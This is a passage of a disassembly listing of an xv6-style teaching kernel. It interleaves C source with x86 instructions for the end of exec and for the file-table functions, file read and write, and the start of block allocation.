80100ba6: 8b 02 mov (%edx),%eax
80100ba8: 89 d7 mov %edx,%edi
80100baa: 85 c0 test %eax,%eax
80100bac: 74 7d je 80100c2b <exec+0x28b>
80100bae: 83 c2 04 add $0x4,%edx
if(argc >= MAXARG)
80100bb1: 83 fe 20 cmp $0x20,%esi
80100bb4: 74 42 je 80100bf8 <exec+0x258>
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100bb6: 89 04 24 mov %eax,(%esp)
80100bb9: 89 95 e8 fe ff ff mov %edx,-0x118(%ebp)
80100bbf: e8 bc 38 00 00 call 80104480 <strlen>
80100bc4: f7 d0 not %eax
80100bc6: 01 c3 add %eax,%ebx
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100bc8: 8b 07 mov (%edi),%eax
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100bca: 83 e3 fc and $0xfffffffc,%ebx
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100bcd: 89 04 24 mov %eax,(%esp)
80100bd0: e8 ab 38 00 00 call 80104480 <strlen>
80100bd5: 83 c0 01 add $0x1,%eax
80100bd8: 89 44 24 0c mov %eax,0xc(%esp)
80100bdc: 8b 07 mov (%edi),%eax
80100bde: 89 5c 24 04 mov %ebx,0x4(%esp)
80100be2: 89 44 24 08 mov %eax,0x8(%esp)
80100be6: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100bec: 89 04 24 mov %eax,(%esp)
80100bef: e8 ec 60 00 00 call 80106ce0 <copyout>
80100bf4: 85 c0 test %eax,%eax
80100bf6: 79 98 jns 80100b90 <exec+0x1f0>
freevm(pgdir);
80100bf8: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100bfe: 89 04 24 mov %eax,(%esp)
80100c01: e8 9a 5d 00 00 call 801069a0 <freevm>
return -1;
80100c06: b8 ff ff ff ff mov $0xffffffff,%eax
80100c0b: e9 02 fe ff ff jmp 80100a12 <exec+0x72>
end_op();
80100c10: e8 4b 1f 00 00 call 80102b60 <end_op>
cprintf("exec: fail\n");
80100c15: c7 04 24 81 6e 10 80 movl $0x80106e81,(%esp)
80100c1c: e8 2f fa ff ff call 80100650 <cprintf>
return -1;
80100c21: b8 ff ff ff ff mov $0xffffffff,%eax
80100c26: e9 e7 fd ff ff jmp 80100a12 <exec+0x72>
80100c2b: 89 f2 mov %esi,%edx
ustack[3+argc] = 0;
80100c2d: c7 84 95 64 ff ff ff movl $0x0,-0x9c(%ebp,%edx,4)
80100c34: 00 00 00 00
ustack[2] = sp - (argc+1)*4; // argv pointer
80100c38: 8d 04 95 04 00 00 00 lea 0x4(,%edx,4),%eax
ustack[1] = argc;
80100c3f: 89 95 5c ff ff ff mov %edx,-0xa4(%ebp)
ustack[2] = sp - (argc+1)*4; // argv pointer
80100c45: 89 da mov %ebx,%edx
80100c47: 29 c2 sub %eax,%edx
sp -= (3+argc+1) * 4;
80100c49: 83 c0 0c add $0xc,%eax
80100c4c: 29 c3 sub %eax,%ebx
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100c4e: 89 44 24 0c mov %eax,0xc(%esp)
80100c52: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100c58: 89 4c 24 08 mov %ecx,0x8(%esp)
80100c5c: 89 5c 24 04 mov %ebx,0x4(%esp)
ustack[0] = 0xffffffff; // fake return PC
80100c60: c7 85 58 ff ff ff ff movl $0xffffffff,-0xa8(%ebp)
80100c67: ff ff ff
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100c6a: 89 04 24 mov %eax,(%esp)
ustack[2] = sp - (argc+1)*4; // argv pointer
80100c6d: 89 95 60 ff ff ff mov %edx,-0xa0(%ebp)
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100c73: e8 68 60 00 00 call 80106ce0 <copyout>
80100c78: 85 c0 test %eax,%eax
80100c7a: 0f 88 78 ff ff ff js 80100bf8 <exec+0x258>
for(last=s=path; *s; s++)
80100c80: 8b 45 08 mov 0x8(%ebp),%eax
80100c83: 0f b6 10 movzbl (%eax),%edx
80100c86: 84 d2 test %dl,%dl
80100c88: 74 19 je 80100ca3 <exec+0x303>
80100c8a: 8b 4d 08 mov 0x8(%ebp),%ecx
80100c8d: 83 c0 01 add $0x1,%eax
last = s+1;
80100c90: 80 fa 2f cmp $0x2f,%dl
for(last=s=path; *s; s++)
80100c93: 0f b6 10 movzbl (%eax),%edx
last = s+1;
80100c96: 0f 44 c8 cmove %eax,%ecx
80100c99: 83 c0 01 add $0x1,%eax
for(last=s=path; *s; s++)
80100c9c: 84 d2 test %dl,%dl
80100c9e: 75 f0 jne 80100c90 <exec+0x2f0>
80100ca0: 89 4d 08 mov %ecx,0x8(%ebp)
safestrcpy(curproc->name, last, sizeof(curproc->name));
80100ca3: 8b bd f4 fe ff ff mov -0x10c(%ebp),%edi
80100ca9: 8b 45 08 mov 0x8(%ebp),%eax
80100cac: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80100cb3: 00
80100cb4: 89 44 24 04 mov %eax,0x4(%esp)
80100cb8: 89 f8 mov %edi,%eax
80100cba: 83 c0 6c add $0x6c,%eax
80100cbd: 89 04 24 mov %eax,(%esp)
80100cc0: e8 7b 37 00 00 call 80104440 <safestrcpy>
curproc->pgdir = pgdir;
80100cc5: 8b 8d f0 fe ff ff mov -0x110(%ebp),%ecx
oldpgdir = curproc->pgdir;
80100ccb: 8b 77 04 mov 0x4(%edi),%esi
curproc->tf->eip = elf.entry; // main
80100cce: 8b 47 18 mov 0x18(%edi),%eax
curproc->sTop = sTop;
80100cd1: c7 47 7c 00 10 00 00 movl $0x1000,0x7c(%edi)
curproc->pgdir = pgdir;
80100cd8: 89 4f 04 mov %ecx,0x4(%edi)
curproc->sz = sz;
80100cdb: 8b 8d ec fe ff ff mov -0x114(%ebp),%ecx
80100ce1: 89 0f mov %ecx,(%edi)
curproc->tf->eip = elf.entry; // main
80100ce3: 8b 95 3c ff ff ff mov -0xc4(%ebp),%edx
80100ce9: 89 50 38 mov %edx,0x38(%eax)
curproc->tf->esp = sp;
80100cec: 8b 47 18 mov 0x18(%edi),%eax
80100cef: 89 58 44 mov %ebx,0x44(%eax)
switchuvm(curproc);
80100cf2: 89 3c 24 mov %edi,(%esp)
80100cf5: e8 26 59 00 00 call 80106620 <switchuvm>
freevm(oldpgdir);
80100cfa: 89 34 24 mov %esi,(%esp)
80100cfd: e8 9e 5c 00 00 call 801069a0 <freevm>
return 0;
80100d02: 31 c0 xor %eax,%eax
80100d04: e9 09 fd ff ff jmp 80100a12 <exec+0x72>
for(argc = 0; argv[argc]; argc++) {
80100d09: 31 d2 xor %edx,%edx
80100d0b: 8d 8d 58 ff ff ff lea -0xa8(%ebp),%ecx
80100d11: e9 17 ff ff ff jmp 80100c2d <exec+0x28d>
80100d16: 66 90 xchg %ax,%ax
80100d18: 66 90 xchg %ax,%ax
80100d1a: 66 90 xchg %ax,%ax
80100d1c: 66 90 xchg %ax,%ax
80100d1e: 66 90 xchg %ax,%ax
80100d20 <fileinit>:
struct file file[NFILE];
} ftable;
void
fileinit(void)
{
80100d20: 55 push %ebp
80100d21: 89 e5 mov %esp,%ebp
80100d23: 83 ec 18 sub $0x18,%esp
initlock(&ftable.lock, "ftable");
80100d26: c7 44 24 04 8d 6e 10 movl $0x80106e8d,0x4(%esp)
80100d2d: 80
80100d2e: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
80100d35: e8 f6 32 00 00 call 80104030 <initlock>
}
80100d3a: c9 leave
80100d3b: c3 ret
80100d3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100d40 <filealloc>:
// Allocate a file structure.
struct file*
filealloc(void)
{
80100d40: 55 push %ebp
80100d41: 89 e5 mov %esp,%ebp
80100d43: 53 push %ebx
struct file *f;
acquire(&ftable.lock);
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100d44: bb f4 ff 10 80 mov $0x8010fff4,%ebx
{
80100d49: 83 ec 14 sub $0x14,%esp
acquire(&ftable.lock);
80100d4c: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
80100d53: e8 c8 33 00 00 call 80104120 <acquire>
80100d58: eb 11 jmp 80100d6b <filealloc+0x2b>
80100d5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100d60: 83 c3 18 add $0x18,%ebx
80100d63: 81 fb 54 09 11 80 cmp $0x80110954,%ebx
80100d69: 74 25 je 80100d90 <filealloc+0x50>
if(f->ref == 0){
80100d6b: 8b 43 04 mov 0x4(%ebx),%eax
80100d6e: 85 c0 test %eax,%eax
80100d70: 75 ee jne 80100d60 <filealloc+0x20>
f->ref = 1;
release(&ftable.lock);
80100d72: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
f->ref = 1;
80100d79: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx)
release(&ftable.lock);
80100d80: e8 8b 34 00 00 call 80104210 <release>
return f;
}
}
release(&ftable.lock);
return 0;
}
80100d85: 83 c4 14 add $0x14,%esp
return f;
80100d88: 89 d8 mov %ebx,%eax
}
80100d8a: 5b pop %ebx
80100d8b: 5d pop %ebp
80100d8c: c3 ret
80100d8d: 8d 76 00 lea 0x0(%esi),%esi
release(&ftable.lock);
80100d90: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
80100d97: e8 74 34 00 00 call 80104210 <release>
}
80100d9c: 83 c4 14 add $0x14,%esp
return 0;
80100d9f: 31 c0 xor %eax,%eax
}
80100da1: 5b pop %ebx
80100da2: 5d pop %ebp
80100da3: c3 ret
80100da4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100daa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80100db0 <filedup>:
// Increment ref count for file f.
struct file*
filedup(struct file *f)
{
80100db0: 55 push %ebp
80100db1: 89 e5 mov %esp,%ebp
80100db3: 53 push %ebx
80100db4: 83 ec 14 sub $0x14,%esp
80100db7: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&ftable.lock);
80100dba: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
80100dc1: e8 5a 33 00 00 call 80104120 <acquire>
if(f->ref < 1)
80100dc6: 8b 43 04 mov 0x4(%ebx),%eax
80100dc9: 85 c0 test %eax,%eax
80100dcb: 7e 1a jle 80100de7 <filedup+0x37>
panic("filedup");
f->ref++;
80100dcd: 83 c0 01 add $0x1,%eax
80100dd0: 89 43 04 mov %eax,0x4(%ebx)
release(&ftable.lock);
80100dd3: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
80100dda: e8 31 34 00 00 call 80104210 <release>
return f;
}
80100ddf: 83 c4 14 add $0x14,%esp
80100de2: 89 d8 mov %ebx,%eax
80100de4: 5b pop %ebx
80100de5: 5d pop %ebp
80100de6: c3 ret
panic("filedup");
80100de7: c7 04 24 94 6e 10 80 movl $0x80106e94,(%esp)
80100dee: e8 6d f5 ff ff call 80100360 <panic>
80100df3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100df9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100e00 <fileclose>:
// Close file f. (Decrement ref count, close when reaches 0.)
void
fileclose(struct file *f)
{
80100e00: 55 push %ebp
80100e01: 89 e5 mov %esp,%ebp
80100e03: 57 push %edi
80100e04: 56 push %esi
80100e05: 53 push %ebx
80100e06: 83 ec 1c sub $0x1c,%esp
80100e09: 8b 7d 08 mov 0x8(%ebp),%edi
struct file ff;
acquire(&ftable.lock);
80100e0c: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
80100e13: e8 08 33 00 00 call 80104120 <acquire>
if(f->ref < 1)
80100e18: 8b 57 04 mov 0x4(%edi),%edx
80100e1b: 85 d2 test %edx,%edx
80100e1d: 0f 8e 89 00 00 00 jle 80100eac <fileclose+0xac>
panic("fileclose");
if(--f->ref > 0){
80100e23: 83 ea 01 sub $0x1,%edx
80100e26: 85 d2 test %edx,%edx
80100e28: 89 57 04 mov %edx,0x4(%edi)
80100e2b: 74 13 je 80100e40 <fileclose+0x40>
release(&ftable.lock);
80100e2d: c7 45 08 c0 ff 10 80 movl $0x8010ffc0,0x8(%ebp)
else if(ff.type == FD_INODE){
begin_op();
iput(ff.ip);
end_op();
}
}
80100e34: 83 c4 1c add $0x1c,%esp
80100e37: 5b pop %ebx
80100e38: 5e pop %esi
80100e39: 5f pop %edi
80100e3a: 5d pop %ebp
release(&ftable.lock);
80100e3b: e9 d0 33 00 00 jmp 80104210 <release>
ff = *f;
80100e40: 0f b6 47 09 movzbl 0x9(%edi),%eax
80100e44: 8b 37 mov (%edi),%esi
80100e46: 8b 5f 0c mov 0xc(%edi),%ebx
f->type = FD_NONE;
80100e49: c7 07 00 00 00 00 movl $0x0,(%edi)
ff = *f;
80100e4f: 88 45 e7 mov %al,-0x19(%ebp)
80100e52: 8b 47 10 mov 0x10(%edi),%eax
release(&ftable.lock);
80100e55: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
ff = *f;
80100e5c: 89 45 e0 mov %eax,-0x20(%ebp)
release(&ftable.lock);
80100e5f: e8 ac 33 00 00 call 80104210 <release>
if(ff.type == FD_PIPE)
80100e64: 83 fe 01 cmp $0x1,%esi
80100e67: 74 0f je 80100e78 <fileclose+0x78>
else if(ff.type == FD_INODE){
80100e69: 83 fe 02 cmp $0x2,%esi
80100e6c: 74 22 je 80100e90 <fileclose+0x90>
}
80100e6e: 83 c4 1c add $0x1c,%esp
80100e71: 5b pop %ebx
80100e72: 5e pop %esi
80100e73: 5f pop %edi
80100e74: 5d pop %ebp
80100e75: c3 ret
80100e76: 66 90 xchg %ax,%ax
pipeclose(ff.pipe, ff.writable);
80100e78: 0f be 75 e7 movsbl -0x19(%ebp),%esi
80100e7c: 89 1c 24 mov %ebx,(%esp)
80100e7f: 89 74 24 04 mov %esi,0x4(%esp)
80100e83: e8 b8 23 00 00 call 80103240 <pipeclose>
80100e88: eb e4 jmp 80100e6e <fileclose+0x6e>
80100e8a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
begin_op();
80100e90: e8 5b 1c 00 00 call 80102af0 <begin_op>
iput(ff.ip);
80100e95: 8b 45 e0 mov -0x20(%ebp),%eax
80100e98: 89 04 24 mov %eax,(%esp)
80100e9b: e8 10 09 00 00 call 801017b0 <iput>
}
80100ea0: 83 c4 1c add $0x1c,%esp
80100ea3: 5b pop %ebx
80100ea4: 5e pop %esi
80100ea5: 5f pop %edi
80100ea6: 5d pop %ebp
end_op();
80100ea7: e9 b4 1c 00 00 jmp 80102b60 <end_op>
panic("fileclose");
80100eac: c7 04 24 9c 6e 10 80 movl $0x80106e9c,(%esp)
80100eb3: e8 a8 f4 ff ff call 80100360 <panic>
80100eb8: 90 nop
80100eb9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80100ec0 <filestat>:
// Get metadata about file f.
int
filestat(struct file *f, struct stat *st)
{
80100ec0: 55 push %ebp
80100ec1: 89 e5 mov %esp,%ebp
80100ec3: 53 push %ebx
80100ec4: 83 ec 14 sub $0x14,%esp
80100ec7: 8b 5d 08 mov 0x8(%ebp),%ebx
if(f->type == FD_INODE){
80100eca: 83 3b 02 cmpl $0x2,(%ebx)
80100ecd: 75 31 jne 80100f00 <filestat+0x40>
ilock(f->ip);
80100ecf: 8b 43 10 mov 0x10(%ebx),%eax
80100ed2: 89 04 24 mov %eax,(%esp)
80100ed5: e8 b6 07 00 00 call 80101690 <ilock>
stati(f->ip, st);
80100eda: 8b 45 0c mov 0xc(%ebp),%eax
80100edd: 89 44 24 04 mov %eax,0x4(%esp)
80100ee1: 8b 43 10 mov 0x10(%ebx),%eax
80100ee4: 89 04 24 mov %eax,(%esp)
80100ee7: e8 24 0a 00 00 call 80101910 <stati>
iunlock(f->ip);
80100eec: 8b 43 10 mov 0x10(%ebx),%eax
80100eef: 89 04 24 mov %eax,(%esp)
80100ef2: e8 79 08 00 00 call 80101770 <iunlock>
return 0;
}
return -1;
}
80100ef7: 83 c4 14 add $0x14,%esp
return 0;
80100efa: 31 c0 xor %eax,%eax
}
80100efc: 5b pop %ebx
80100efd: 5d pop %ebp
80100efe: c3 ret
80100eff: 90 nop
80100f00: 83 c4 14 add $0x14,%esp
return -1;
80100f03: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100f08: 5b pop %ebx
80100f09: 5d pop %ebp
80100f0a: c3 ret
80100f0b: 90 nop
80100f0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100f10 <fileread>:
// Read from file f.
int
fileread(struct file *f, char *addr, int n)
{
80100f10: 55 push %ebp
80100f11: 89 e5 mov %esp,%ebp
80100f13: 57 push %edi
80100f14: 56 push %esi
80100f15: 53 push %ebx
80100f16: 83 ec 1c sub $0x1c,%esp
80100f19: 8b 5d 08 mov 0x8(%ebp),%ebx
80100f1c: 8b 75 0c mov 0xc(%ebp),%esi
80100f1f: 8b 7d 10 mov 0x10(%ebp),%edi
int r;
if(f->readable == 0)
80100f22: 80 7b 08 00 cmpb $0x0,0x8(%ebx)
80100f26: 74 68 je 80100f90 <fileread+0x80>
return -1;
if(f->type == FD_PIPE)
80100f28: 8b 03 mov (%ebx),%eax
80100f2a: 83 f8 01 cmp $0x1,%eax
80100f2d: 74 49 je 80100f78 <fileread+0x68>
return piperead(f->pipe, addr, n);
if(f->type == FD_INODE){
80100f2f: 83 f8 02 cmp $0x2,%eax
80100f32: 75 63 jne 80100f97 <fileread+0x87>
ilock(f->ip);
80100f34: 8b 43 10 mov 0x10(%ebx),%eax
80100f37: 89 04 24 mov %eax,(%esp)
80100f3a: e8 51 07 00 00 call 80101690 <ilock>
if((r = readi(f->ip, addr, f->off, n)) > 0)
80100f3f: 89 7c 24 0c mov %edi,0xc(%esp)
80100f43: 8b 43 14 mov 0x14(%ebx),%eax
80100f46: 89 74 24 04 mov %esi,0x4(%esp)
80100f4a: 89 44 24 08 mov %eax,0x8(%esp)
80100f4e: 8b 43 10 mov 0x10(%ebx),%eax
80100f51: 89 04 24 mov %eax,(%esp)
80100f54: e8 e7 09 00 00 call 80101940 <readi>
80100f59: 85 c0 test %eax,%eax
80100f5b: 89 c6 mov %eax,%esi
80100f5d: 7e 03 jle 80100f62 <fileread+0x52>
f->off += r;
80100f5f: 01 43 14 add %eax,0x14(%ebx)
iunlock(f->ip);
80100f62: 8b 43 10 mov 0x10(%ebx),%eax
80100f65: 89 04 24 mov %eax,(%esp)
80100f68: e8 03 08 00 00 call 80101770 <iunlock>
if((r = readi(f->ip, addr, f->off, n)) > 0)
80100f6d: 89 f0 mov %esi,%eax
return r;
}
panic("fileread");
}
80100f6f: 83 c4 1c add $0x1c,%esp
80100f72: 5b pop %ebx
80100f73: 5e pop %esi
80100f74: 5f pop %edi
80100f75: 5d pop %ebp
80100f76: c3 ret
80100f77: 90 nop
return piperead(f->pipe, addr, n);
80100f78: 8b 43 0c mov 0xc(%ebx),%eax
80100f7b: 89 45 08 mov %eax,0x8(%ebp)
}
80100f7e: 83 c4 1c add $0x1c,%esp
80100f81: 5b pop %ebx
80100f82: 5e pop %esi
80100f83: 5f pop %edi
80100f84: 5d pop %ebp
return piperead(f->pipe, addr, n);
80100f85: e9 36 24 00 00 jmp 801033c0 <piperead>
80100f8a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return -1;
80100f90: b8 ff ff ff ff mov $0xffffffff,%eax
80100f95: eb d8 jmp 80100f6f <fileread+0x5f>
panic("fileread");
80100f97: c7 04 24 a6 6e 10 80 movl $0x80106ea6,(%esp)
80100f9e: e8 bd f3 ff ff call 80100360 <panic>
80100fa3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100fa9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100fb0 <filewrite>:
//PAGEBREAK!
// Write to file f.
int
filewrite(struct file *f, char *addr, int n)
{
80100fb0: 55 push %ebp
80100fb1: 89 e5 mov %esp,%ebp
80100fb3: 57 push %edi
80100fb4: 56 push %esi
80100fb5: 53 push %ebx
80100fb6: 83 ec 2c sub $0x2c,%esp
80100fb9: 8b 45 0c mov 0xc(%ebp),%eax
80100fbc: 8b 7d 08 mov 0x8(%ebp),%edi
80100fbf: 89 45 dc mov %eax,-0x24(%ebp)
80100fc2: 8b 45 10 mov 0x10(%ebp),%eax
int r;
if(f->writable == 0)
80100fc5: 80 7f 09 00 cmpb $0x0,0x9(%edi)
{
80100fc9: 89 45 e4 mov %eax,-0x1c(%ebp)
if(f->writable == 0)
80100fcc: 0f 84 ae 00 00 00 je 80101080 <filewrite+0xd0>
return -1;
if(f->type == FD_PIPE)
80100fd2: 8b 07 mov (%edi),%eax
80100fd4: 83 f8 01 cmp $0x1,%eax
80100fd7: 0f 84 c2 00 00 00 je 8010109f <filewrite+0xef>
return pipewrite(f->pipe, addr, n);
if(f->type == FD_INODE){
80100fdd: 83 f8 02 cmp $0x2,%eax
80100fe0: 0f 85 d7 00 00 00 jne 801010bd <filewrite+0x10d>
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((LOGSIZE-1-1-2) / 2) * 512;
int i = 0;
while(i < n){
80100fe6: 8b 45 e4 mov -0x1c(%ebp),%eax
80100fe9: 31 db xor %ebx,%ebx
80100feb: 85 c0 test %eax,%eax
80100fed: 7f 31 jg 80101020 <filewrite+0x70>
80100fef: e9 9c 00 00 00 jmp 80101090 <filewrite+0xe0>
80100ff4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
begin_op();
ilock(f->ip);
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
f->off += r;
iunlock(f->ip);
80100ff8: 8b 4f 10 mov 0x10(%edi),%ecx
f->off += r;
80100ffb: 01 47 14 add %eax,0x14(%edi)
80100ffe: 89 45 e0 mov %eax,-0x20(%ebp)
iunlock(f->ip);
80101001: 89 0c 24 mov %ecx,(%esp)
80101004: e8 67 07 00 00 call 80101770 <iunlock>
end_op();
80101009: e8 52 1b 00 00 call 80102b60 <end_op>
8010100e: 8b 45 e0 mov -0x20(%ebp),%eax
if(r < 0)
break;
if(r != n1)
80101011: 39 f0 cmp %esi,%eax
80101013: 0f 85 98 00 00 00 jne 801010b1 <filewrite+0x101>
panic("short filewrite");
i += r;
80101019: 01 c3 add %eax,%ebx
while(i < n){
8010101b: 39 5d e4 cmp %ebx,-0x1c(%ebp)
8010101e: 7e 70 jle 80101090 <filewrite+0xe0>
int n1 = n - i;
80101020: 8b 75 e4 mov -0x1c(%ebp),%esi
80101023: b8 00 1a 00 00 mov $0x1a00,%eax
80101028: 29 de sub %ebx,%esi
8010102a: 81 fe 00 1a 00 00 cmp $0x1a00,%esi
80101030: 0f 4f f0 cmovg %eax,%esi
begin_op();
80101033: e8 b8 1a 00 00 call 80102af0 <begin_op>
ilock(f->ip);
80101038: 8b 47 10 mov 0x10(%edi),%eax
8010103b: 89 04 24 mov %eax,(%esp)
8010103e: e8 4d 06 00 00 call 80101690 <ilock>
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
80101043: 89 74 24 0c mov %esi,0xc(%esp)
80101047: 8b 47 14 mov 0x14(%edi),%eax
8010104a: 89 44 24 08 mov %eax,0x8(%esp)
8010104e: 8b 45 dc mov -0x24(%ebp),%eax
80101051: 01 d8 add %ebx,%eax
80101053: 89 44 24 04 mov %eax,0x4(%esp)
80101057: 8b 47 10 mov 0x10(%edi),%eax
8010105a: 89 04 24 mov %eax,(%esp)
8010105d: e8 de 09 00 00 call 80101a40 <writei>
80101062: 85 c0 test %eax,%eax
80101064: 7f 92 jg 80100ff8 <filewrite+0x48>
iunlock(f->ip);
80101066: 8b 4f 10 mov 0x10(%edi),%ecx
80101069: 89 45 e0 mov %eax,-0x20(%ebp)
8010106c: 89 0c 24 mov %ecx,(%esp)
8010106f: e8 fc 06 00 00 call 80101770 <iunlock>
end_op();
80101074: e8 e7 1a 00 00 call 80102b60 <end_op>
if(r < 0)
80101079: 8b 45 e0 mov -0x20(%ebp),%eax
8010107c: 85 c0 test %eax,%eax
8010107e: 74 91 je 80101011 <filewrite+0x61>
}
return i == n ? n : -1;
}
panic("filewrite");
}
80101080: 83 c4 2c add $0x2c,%esp
return -1;
80101083: b8 ff ff ff ff mov $0xffffffff,%eax
}
80101088: 5b pop %ebx
80101089: 5e pop %esi
8010108a: 5f pop %edi
8010108b: 5d pop %ebp
8010108c: c3 ret
8010108d: 8d 76 00 lea 0x0(%esi),%esi
return i == n ? n : -1;
80101090: 3b 5d e4 cmp -0x1c(%ebp),%ebx
80101093: 89 d8 mov %ebx,%eax
80101095: 75 e9 jne 80101080 <filewrite+0xd0>
}
80101097: 83 c4 2c add $0x2c,%esp
8010109a: 5b pop %ebx
8010109b: 5e pop %esi
8010109c: 5f pop %edi
8010109d: 5d pop %ebp
8010109e: c3 ret
return pipewrite(f->pipe, addr, n);
8010109f: 8b 47 0c mov 0xc(%edi),%eax
801010a2: 89 45 08 mov %eax,0x8(%ebp)
}
801010a5: 83 c4 2c add $0x2c,%esp
801010a8: 5b pop %ebx
801010a9: 5e pop %esi
801010aa: 5f pop %edi
801010ab: 5d pop %ebp
return pipewrite(f->pipe, addr, n);
801010ac: e9 1f 22 00 00 jmp 801032d0 <pipewrite>
panic("short filewrite");
801010b1: c7 04 24 af 6e 10 80 movl $0x80106eaf,(%esp)
801010b8: e8 a3 f2 ff ff call 80100360 <panic>
panic("filewrite");
801010bd: c7 04 24 b5 6e 10 80 movl $0x80106eb5,(%esp)
801010c4: e8 97 f2 ff ff call 80100360 <panic>
801010c9: 66 90 xchg %ax,%ax
801010cb: 66 90 xchg %ax,%ax
801010cd: 66 90 xchg %ax,%ax
801010cf: 90 nop
801010d0 <balloc>:
// Blocks.
// Allocate a zeroed disk block.
static uint
balloc(uint dev)
{
801010d0: 55 push %ebp
801010d1: 89 e5 mov %esp,%ebp
801010d3: 57 push %edi
801010d4: 56 push %esi
801010d5: 53 push %ebx
801010d6: 83 ec 2c sub $0x2c,%esp
801010d9: 89 45 d8 mov %eax,-0x28(%ebp)
int b, bi, m;
struct buf *bp;
bp = 0;
for(b = 0; b < sb.size; b += BPB){
801010dc: a1 c0 09 11 80 mov 0x801109c0,%eax
801010e1: 85 c0 test %eax,%eax
801010e3: 0f 84 8c 00 00 00 je 80101175 <balloc+0xa5>
801010e9: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp)
bp = bread(dev, BBLOCK(b, sb));
801010f0: 8b 75 dc mov -0x24(%ebp),%esi
801010f3: 89 f0 mov %esi,%eax
801010f5: c1 f8 0c sar $0xc,%eax
801010f8: 03 05 d8 09 11 80 add 0x801109d8,%eax
801010fe: 89 44 24 04 mov %eax,0x4(%esp)
80101102: 8b 45 d8 mov -0x28(%ebp),%eax
80101105: 89 04 24 mov %eax,(%esp)
80101108: e8 c3 ef ff ff call 801000d0 <bread>
8010110d: 89 45 e4 mov %eax,-0x1c(%ebp)
80101110: a1 c0 09 11 80 mov 0x801109c0,%eax
80101115: 89 45 e0 mov %eax,-0x20(%ebp)
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
80101118: 31 c0 xor %eax,%eax
8010111a: eb 33 jmp 8010114f <balloc+0x7f>
8010111c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
m = 1 << (bi % 8);
if((bp->data[bi/8] & m) == 0){ // Is block free?
80101120: 8b 5d e4 mov -0x1c(%ebp),%ebx
80101123: 89 c2 mov %eax,%edx
m = 1 << (bi % 8);
80101125: 89 c1 mov %eax,%ecx
if((bp->data[bi/8] & m) == 0){ // Is block free?
80101127: c1 fa 03 sar $0x3,%edx
m = 1 << (bi % 8);
8010112a: 83 e1 07 and $0x7,%ecx
8010112d: bf 01 00 00 00 mov $0x1,%edi
80101132: d3 e7 shl %cl,%edi
if((bp->data[bi/8] & m) == 0){ // Is block free?
80101134: 0f b6 5c 13 5c movzbl 0x5c(%ebx,%edx,1),%ebx
m = 1 << (bi % 8);
80101139: 89 f9 mov %edi,%ecx
if((bp->data[bi/8] & m) == 0){ // Is block free?
8010113b: 0f b6 fb movzbl %bl,%edi
8010113e: 85 cf test %ecx,%edi
80101140: 74 46 je 80101188 <balloc+0xb8>
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
80101142: 83 c0 01 add $0x1,%eax
80101145: 83 c6 01 add $0x1,%esi
80101148: 3d 00 10 00 00 cmp $0x1000,%eax
8010114d: 74 05 je 80101154 <balloc+0x84>
8010114f: 3b 75 e0 cmp -0x20(%ebp),%esi
80101152: 72 cc jb 80101120 <balloc+0x50>
brelse(bp);
bzero(dev, b + bi);
return b + bi;
}
}
brelse(bp);
80101154: 8b 45 e4 mov -0x1c(%ebp),%eax
80101157: 89 04 24 mov %eax,(%esp)
8010115a: e8 81 f0 ff ff call 801001e0 <brelse>
for(b = 0; b < sb.size; b += BPB){
8010115f: 81 45 dc 00 10 00 00 addl $0x1000,-0x24(%ebp)
80101166: 8b 45 dc mov -0x24(%ebp),%eax
80101169: 3b 05 c0 09 11 80 cmp 0x801109c0,%eax
8010116f: 0f 82 7b ff ff ff jb 801010f0 <balloc+0x20>
}
panic("balloc: out of blocks");
80101175: c7 04 24 bf 6e 10 80 movl $0x80106ebf,(%esp)
8010117c: e8 df f1 ff ff call 80100360 <panic>
80101181: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
bp->data[bi/8] |= m; // Mark block in use.
80101188: 09 d9 or %ebx,%ecx
